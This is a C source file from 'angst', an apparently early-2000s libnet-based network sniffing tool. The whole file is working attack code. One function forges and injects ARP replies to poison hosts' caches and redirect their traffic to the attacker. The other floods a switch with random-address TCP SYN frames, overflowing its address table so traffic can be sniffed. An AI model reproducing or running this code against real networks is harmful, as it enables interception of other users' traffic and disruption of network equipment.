/* angst - active.c
 * by Patroklos Argyroudis <argp@bsd.gr>
 *
 * Active sniffing methods.
 *
 * $Id: active.c,v 1.4 2001/02/04 03:35:14 argp Exp $
 */ 

#include "angst.h"

void
arp_reply(void)
{
 Host *current = NULL;
 int pktsize;
 u_char *packet;
 u_char errbuf[LIBNET_ERRBUF_SIZE];
 struct libnet_link_int *netif;
 struct ether_addr *lea;
 
 if(device == NULL)
 {
  struct sockaddr_in sin;
  if((libnet_select_device(&sin, &device, errbuf)) == -1)
   xprintf("libnet_select_device error: %s\n", errbuf);
 }
 
 if((netif = libnet_open_link_interface(device, errbuf)) == NULL)
  xprintf("libnet_open_link_interface error: %s\n", errbuf);
  
 /* get local ethernet address */
 if((lea = libnet_get_hwaddr(netif, device, errbuf)) == NULL)
  xprintf("libnet_get_hwaddr error: %s\n", errbuf);
  
 pktsize = (LIBNET_ETH_H + LIBNET_ARP_H);
  
 if((libnet_init_packet(pktsize, &packet)) == -1)
  xprintf("libnet_init_packet error\n");
   
 /* walk through the linked list, create and send the fake ARP replies */
 for(current = head; current; current = current->next)
 {
  /* build the ethernet header */
  libnet_build_ethernet(current->sha, lea->ether_addr_octet, ETHERTYPE_ARP,
	NULL, 0, packet);
        
  /* build the fake ARP reply */
  libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
	lea->ether_addr_octet, current->tpa, current->sha, current->spa,
	NULL, 0, (packet + LIBNET_ETH_H));
   
  /* inject the packet */
  if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
   xprintf("libnet_write_link_layer error\n");

#ifdef DEBUG   
  /* display the sha and the tha of the fake ARP reply */
  fprintf(stderr, "--[ injected a fake ARP reply ]--\n");
  fprintf(stderr, "sender hardware address: %s\n", format_hwaddr(lea->ether_addr_octet));
  fprintf(stderr, "target hardware address: %s\n", format_hwaddr(current->sha));
#endif /* DEBUG */
 }
  
 if((libnet_close_link_interface(netif)) == -1)
  xprintf("libnet_close_link_interface error\n");     
}

/* mac_flood() is based on macof.c by Dug Song, which
 * in turn is based on macof-1.1 by Ian Vitek
 */
void
mac_flood(void)
{
 int i;					/* counter */
 struct libnet_link_int *netif;		/* link layer network interface */
 u_char ether_src[ETHER_ADDR_LEN];	/* source ethernet address */
 u_char ether_dst[ETHER_ADDR_LEN];	/* destination ethernet address */
 u_long srcip = 0;			/* source IP address */
 u_long dstip = 0;			/* destination IP address */
 u_short sport = 0;			/* source port number */
 u_short dport = 0;			/* destination port number */
 int pktsize = 0;			/* packet size */
 u_char *packet;			/* pointer to packet buffer */
 char errbuf[LIBNET_ERRBUF_SIZE];	/* error buffer */

 if(device == NULL)
 {
  struct sockaddr_in sin;
  if((libnet_select_device(&sin, &device, errbuf)) == -1)
   xprintf("libnet_select_device error: %s\n", errbuf);
 }

 if((netif = libnet_open_link_interface(device, errbuf)) == NULL)
  xprintf("libnet_open_link_interface error: %s\n", errbuf);

 if((libnet_seed_prand()) == -1)
  xprintf("libnet_seed_prand error\n");

 pktsize = (LIBNET_ETH_H + LIBNET_IP_H + LIBNET_TCP_H);

 if((libnet_init_packet(pktsize, &packet)) == -1)
  xprintf("libnet_init_packet error\n");

 for(i = 0; i <= pktcount; i++)
 {
  /* get a random source ethernet address */
  *((u_int32_t *)ether_src) = libnet_get_prand(PRu32);
  *((u_short *)(ether_src + 4)) = libnet_get_prand(PRu16);

  /* get a random destination ethernet address */
  *((u_int32_t *)ether_dst) = libnet_get_prand(PRu32);
  *((u_short *)(ether_dst + 4)) = libnet_get_prand(PRu16);

  /* get a random source IP address */
  srcip = libnet_get_prand(PRu32);

  /* get a random destination IP address */
  dstip = libnet_get_prand(PRu32);

  /* get a random source port number */
  sport = libnet_get_prand(PRu16);

  /* get a random destination port number */
  dport = libnet_get_prand(PRu16);

  /* construct ethernet header */
  libnet_build_ethernet(ether_dst, ether_src, ETHERTYPE_IP, NULL, 0, packet);

  /* construct IP header */
  libnet_build_ip(LIBNET_TCP_H, 0, (libnet_get_prand(PRu16)), 0, 64,
	IPPROTO_TCP, srcip, dstip, NULL, 0, (packet + LIBNET_ETH_H));

  /* construct TCP header */
  libnet_build_tcp(sport, dport, (libnet_get_prand(PRu32)), (libnet_get_prand(PRu32)),
	TH_SYN, 1024, 0, NULL, 0, (packet + LIBNET_ETH_H + LIBNET_IP_H));

  /* calculate both the TCP header and the IP header checksums */
  if((libnet_do_checksum((packet + ETH_H), IPPROTO_TCP, TCP_H)) == -1)
   xprintf("libnet_do_checksum error\n");

  if((libnet_do_checksum((packet + ETH_H), IPPROTO_IP, IP_H)) == -1)
   xprintf("libnet_do_checksum error\n");

  /* inject the packet */
  if((libnet_write_link_layer(netif, device, packet, pktsize)) == -1)
   xprintf("libnet_write_link_layer error\n");

#ifdef DEBUG
  fprintf(stderr, "--[ injected a random TCP packet ]--\n");
  fprintf(stderr, "sender hardware address: %s\n", format_hwaddr(ether_src));
  fprintf(stderr, "target hardware address: %s\n", format_hwaddr(ether_dst));
#endif /* DEBUG */
 } /* for */
 
 /* close the link interface */
 if((libnet_close_link_interface(netif)) == -1)
  xprintf("libnet_close_link_interface error\n");

 return;
}

/* EOF */
